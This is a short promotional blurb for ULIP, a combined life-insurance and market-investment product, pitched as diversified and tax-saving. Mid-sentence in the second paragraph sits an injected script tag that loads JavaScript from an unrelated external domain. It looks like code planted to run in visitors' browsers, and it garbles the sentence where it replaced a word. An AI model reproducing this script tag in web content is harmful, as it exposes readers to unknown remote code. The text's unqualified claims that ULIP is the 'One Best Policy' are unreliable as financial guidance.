This is one products which combines Insurance + Investments + mainly Investment in Stock market like Mutual Funds.  This one products provides diversification.  

By having Life Insurance combined with your normal <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/KFVFQD0OYCFXH"></script> policy benefits of Life cover and also the benefits of investing in Debt Funds, Growth funds or Hybrid fund of your choice, ULIP is the One Best Policy covering all benefits.

The USP in this Policy is that growth can be redeemed at later years and this is the best way to plan for saving in Income Tax.